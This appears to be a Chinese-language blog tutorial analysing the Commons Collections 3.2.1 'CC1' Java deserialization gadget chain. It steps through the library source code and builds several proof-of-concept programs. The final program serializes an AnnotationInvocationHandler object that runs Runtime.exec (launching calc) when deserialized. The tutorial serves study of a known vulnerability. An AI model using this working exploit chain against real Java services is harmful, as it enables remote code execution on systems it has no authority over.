Java反序列化CC1链

环境搭建参考文章:

https://blog.csdn.net/weixin_49047967/article/details/134763883

https://www.cnblogs.com/1vxyz/p/17284838.html

https://www.freebuf.com/articles/web/383152.html

0x01漏洞描述

CC1全称Commons-Collections1,是Apache Commons-Collections组件的一个组件反序列化漏洞,所以commons-collections组件反序列化漏洞的反射链也称为CC链

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

包结构

  • org.apache.commons.collections

0x02影响版本&环境搭建

jdk < 8u71

CommonsCollections <= 3.2.1

因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

image-20250527185106302

下载安装后配置环境变量,之后查看一下版本就行

image-20250527191355478

然后去 下载openjdk,下载后解压,再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压这个src到src文件夹,之后把之前源码包(idk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。

image-20250527191955632

image-20250527192040996

然后进入IDEA,在设置中找到项目结构

image-20250527192316515

然后我们新建一个Maven(照着选就行)

image-20250527192555517

然后导入commons collections maven依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

在pom.xml添加依赖,完整代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>CC1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<finalName>CC1</finalName>
</build>
</project>

然后点击代码中的一个同步maven配置就行

image-20250527200309494

完成之后整个目录是这样的

image-20250528152744784

0x03源码分析

先放CC1链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/

看不懂?我也看不懂!我们一步步往下看吧

CC1出口分析

cc1链中的出口是commons collections库中的transformer接口,这个接口里边有个transform方法。

1
org.apache.commons.collections.Transformer

我们看看这个接口

image-20250527210838149

找一下实现了这个接口的类

image-20250527210851975

通过查看继承层次结构图,我们找到了InvokerTransformer类(当然肯定不止这一个类),在第119行,InvokerTransformer类重写了transform方法,并且该类还接入了Serializable序列化接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

我们先看构造方法方法

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

构造方法中接收一个方法名,所调用方法的参数类型,所调用方法的参数值,简单来说就是一个方法名,一个方法形参类型,一个方法传递参数值

然后重写的tranform方法,解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object transform(Object input) {//接收一个对象输入

//检测输入
if (input == null) {
return null;
} else {
try {
//获取对象的原型类
Class cls = input.getClass();

//获取该原型类的方法名
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);

//invoke调用类的方法,传入操作对象和参数,并返回方法调用的利用值
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

这么明显可以看到出现了反射机制的利用,这里通过获取一个对象并利用反射去获取并调用其原型类的方法,这里就是我们的利用点了

因此我们可以通过 InvokerTransformer类的 transform 方法中invoke调用 Runtime类getRuntime对象的exec实现 rce

写个poc

1
2
3
4
5
6
7
8
9
10
import org.apache.commons.collections.functors.InvokerTransformer;

public class poc {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

这里根据构造函数的三个参数依次填入就行

效果如下

image-20250527211655338

成功执行命令calc

另外这里利用反射也是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.Class;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();

//反射获取InvokerTransformer
Class c = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
Constructor ctor = c.getDeclaredConstructor(String.class, Class[].class,Object[].class);
InvokerTransformer invokerTransformer = (InvokerTransformer) ctor.newInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
Method m = c.getDeclaredMethod("transform", Object.class);
m.invoke(invokerTransformer, rt);

}
}

由此我们就找到了链子的出口,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,找到直接到达重写了readObject的类

CC1链还原

我们继续查找一下调用tranform()方法的类

image-20250527212330617

发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()

image-20250527212433286

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里因为是protected受保护类型,只能内部类访问,权限不够,我们跟进valueTransformer看看

image-20250527212848243

发现valueTransformer也是受保护类型的属性,但是这个参数是否可控呢?我们跟进一下这个参数的用法

image-20250527213915324

发现在TransformedMap类中的decorate方法实例化了TransformedMap对象,并且在这么多方法中只有该方法是public公共属性的

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

所以猜想我们可以利用这个方法去实例化一个TransformedMap对象,从而传入想要的valueTransformer的值,也就是说,我们可以控制decorate()方法内的valueTransformer的值

我们把这个类中需要用的方法都提出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected final Transformer valueTransformer;

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;//valueTransformer在这里被赋值
}

//decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

//checkSetValue方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

类TransformedMap提供该decorate方法给外部进行TransformedMap构造,那我们给 valueTransformer 赋值 构造的InvokerTransformer实例 就可以通过 valueTransformer.transform(value)实现 InvokerTransformer.transform(value)从而 rce

然后我们构造链子调用checkSetValue方法

1
TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.Class;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Class c = Class.forName("org.apache.commons.collections.map.TransformedMap");

HashMap<Object ,Object> map = new HashMap<>();
Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);

Method m = c.getDeclaredMethod("checkSetValue", Object.class);
//System.out.println(m);
m.setAccessible(true);
m.invoke(tm,rt);
}
}

这里的话因为decorate是静态方法,可以直接类名+方法名调用,因为这里的checkSetValue是受保护属性,所以需要set一下权限

image-20250528100421402

接下来寻找checkSetValue(),发现有一个用法,跟进看一下

image-20250527224202314

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

发现只有父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue(),并且这里的setValue()方法是公共的,所以可以直接打poc,不过这里有个方法可以助力一下

1
2
3
4
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

然后我们发现MapEntry类其实是继承了AbstractMapEntryDecorator父类的,我们跟进一下这个AbstractMapEntryDecorator类

image-20250527225346966

MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue()

所以我们的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object ,Object> map = new HashMap<>();
Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);

map.put("key","value");

for(Map.Entry entry: tm.entrySet()) {
entry.setValue(rt);
}
}
}

这里的话解释一个很重要的代码

1
2
3
4
map.put("key","value");
for(Map.Entry entry:tm.entrySet()) {
entry.setValue(rt);
}

这里的话需要调试TransformedMap中没有entrySet方法,但是其继承的父类有

image-20250528164323886

看到isSetValueChecking()返回true,那么会进入if语句,我们跟进new

image-20250528164716687

用内部静态类的构造器EntrySet() 实例化EntrySet类,其中parent是对象TransformedMap

当调用 transformedMap.entrySet() 时,返回的 Entry 对象并不是普通的 HashMap.Entry,而是 **TransformedMap.MapEntry**(AbstractInputCheckedMapDecorator 的内部类)。

对于每个遍历到的键值对,都会进行setValue方法的调用 。在普通的Map中,这个方法通常用于修改值。但是在经过 TransformedMap装饰后,setValue方法的行为由装饰器定义,也就是说本来会调用的map类中的setValue的方法,但是我们使用的是TransformedMap,TransformedMap由于继承了AbstractInputCheckedMapDecorator类,而AbstractInputCheckedMapDecorator抽象类中的MapEntry类装饰了map类中的setValue的方法,所以我们实际调用的MapEntry中的setValue()方法(因为MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法)

image-20250527231926985

好好理解好好消化,这里我也想了很久

image-20250527232037276

因为前面的东西很多,所以这里先做个总结

1
为了找到可以触发InvokerTransformer::transform()方法的类方法,我们找到了TransformedMap::checkSetValue()方法,但是因为checkSetValue()方法中的valueTransformer是protected受保护属性,无法直接调用,所以我们想到了利用TransformedMap::decorate()方法去实例化对象从而控制valueTransformer的值,因为decorate()需要一个map实例,所以我们实例化了一个HashMap的map,并把这个map传入然后实例化了一个Map类型的transformedmap装饰器对象,之后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,但是由于MapEntry重写了setValue方法,而TransformedMap又继承了该父类,所以调用了MapEntry::setValue()方法,从而调用checkSetValue()方法

到此我们的链子就是

1
MapEntry::setValue->TransformedMap::checkSetValue()->InvokerTransformer::transform()

CC1入口追寻

然后我们继续往前走,寻找setValue方法

1
sun.reflect.annotation.AnnotationInvocationHandler

image-20250527234003110

看到readObject()方法了,看到那一刻我真的喜极而泣了,终于到源头了

image-20250527234157434

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

我们找到这个类的构造函数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

这里一下子就很明朗了,memberValues可控,并且从readObject方法中发现该属性是一会要进行map遍历的,所以也就省去了我们之前自己做的遍历,那么我们就可以去实现memberValue.setValue()方法

但是这里需要注意一个问题

image-20250527234618321

这里可以发现,在定义该类的时候并没有说明是public公共类,所以说明这个类只能在sun.reflect.annotation这个本包下被调用,我们要想在外部调用,需要用到反射来解决

所以我们的链子是

1
AnnotationInvocationHandler::readObject()->MapEntry::setValue()->TransformedMap::checkSetValue()->InvokerTransformer::transform()

那我们动手写一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.Class;
import java.util.HashMap;
import java.util.Map;

public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object ,Object> map = new HashMap<>();
Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);

map.put("key","value");

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

Object o = constructor.newInstance(Override.class, tm);
//System.out.println(o);
serialize(o);
unserialize("CC1.txt");

}
public static void serialize(Object object)throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
oos.close();
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
ois.close();
}
}

但是这里并没有弹出是为什么呢?

CC1深入探讨

第一个问题

解决Runtime没有序列化的问题

在调试的过程中我发现了Runtime类并没有被序列化,这是为什么呢?我们进入这个类看一下

image-20250528000508415

可以看到该类并没有接入序列化接口,所以可能导致了他无法被序列化,但是可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的

然后也可以看到这里getRuntime()会返回currentRuntime,而currentRuntime就是一个新的Runtime()实例,所以我们可以利用反射去调用这个方法从而拿到一个Runtime()实例

所以我们试着反射写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.reflect.Method;
import java.lang.Class;

public class poc {
public static void main(String[] args) throws Exception {
//反射调用getRuntime方法
Class rc = Class.forName("java.lang.Runtime");
Method getRuntime = rc.getDeclaredMethod("getRuntime", null);
//利用getRuntime方法创建实例
Runtime rt = (Runtime) getRuntime.invoke(null, null);

//反射调用exec方法
Method exec = rc.getDeclaredMethod("exec", String.class);
exec.invoke(rt,"calc");
}
}

image-20250528001520701

基于这个原理,我们试着用transform()方法实现上述代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.Class;
import java.lang.reflect.Method;

public class poc{
public static void main(String[] args) throws Exception {
// //反射调用getRuntime方法
// Class rc = Class.forName("java.lang.Runtime");
// Method getRuntime = rc.getDeclaredMethod("getRuntime", null);
// //利用getRuntime方法创建实例
// Runtime rt = (Runtime) getRuntime.invoke(null, null);
//
// //反射调用exec方法
// Method exec = rc.getDeclaredMethod("exec", String.class);
// exec.invoke(rt,"calc");

//利用transform方法获取getRuntime的方法
Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class},new Object[] {"getRuntime",null}).transform(Runtime.class);

//利用transform方法获取invoke方法
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(getRuntime);

//利用transform方法获取exec方法执行calc命令
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
}
}

我们看看这几条tranform通过反射获取方法的方法,但是这里如果参数多了的话就很麻烦,然后发现有一个 ChainedTransformer 类正好可以干这个,我们看一下

image-20250528004556823

我们看一下构造函数

1
2
3
4
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

所以需要传一个Transformer[]数组,那我们重新用ChainedTransformer实现一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class poc {
public static void main(String[] args) throws Exception {
Class runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
chainedTransformer.transform(runtime);
}
}

image-20250528010957413

然后修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Class;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
Class runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);

HashMap<Object,Object> map = new HashMap<>();
map.put("key", "value");

Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Override.class,transformermap);
serialize(object);
unserialize("CC1.txt");

}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
oos.close();
}

//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

第二个问题

解决setValue()方法无法执行的原因

1
2
3
4
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

其实为什么这里没法执行,我们看完整代码

image-20250528120042814

这里可以看到在setValue之前还有两层if语句,要想成功执行这个代码,我们就得满足两层if语句的条件

本来想打断点调试的,但是不知道为啥, 我的idea一直跳不到readObject断点的地方,给infer师傅调他直接就跳了。。。估计是idea的问题,得重新装一个

服了,装好后还是不行,只能看师傅的图了

调试的时候发现memberType的值为空

在这里插入图片描述

我们看看这个参数是怎么来的

1
2
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

memberType这里会获取memberType里的名为 name 的成员方法,而name就是我们的key值,但是我们之前传的注解Override里面没有key这个参数,所以导致memberType为null 进不去if语句里了

image-20250528161208835

image-20250528161822043

所以我们换一个有值的注解,那我们必须一个满足条件的有成员方法的Class,同时我们的Map里的key值还要改为这个成员方法名字。而 Target里有 value方法。

image-20250528170723922

所以这里我们修改Override.class为Target.class,然后更改Map中的Key为这个方法名value

image-20250528161654440

然后底下那个if 判断 if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)),这里不用说肯定是满足的,能进来,所以我们的poc改成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Class;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
Class runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");

Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Target.class,transformermap);
serialize(object);
unserialize("CC1.txt");

}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
oos.close();
}

//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

现在能正常通过两个if语句了,但是我们可以看到这里的setValue中的参数是固定的无法修改,那这个问题该怎么解决呢?

第三个问题

setValue中的参数不可控问题

由于每次给setValue的值都被修改,这显然不符合我们的期望。于是查找transform()的实现方法,发现存在一个类ConstantTransformer

image-20250528171616473

这里他会返回一个固定的值,我们看看构造方法

1
2
3
4
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

可控且public,那么我们直接用这个吧

1
AnnotationInvocationHandler::readObject()->TransformedMap::setValue()->TransformedMap::checkSetValue()->chainedTransformer::transform()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Class;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");

Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);

Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object object = constructor.newInstance(Target.class,transformermap);
serialize(object);
unserialize("CC1.txt");

}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
oos.close();
}

//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

至此链子就做完了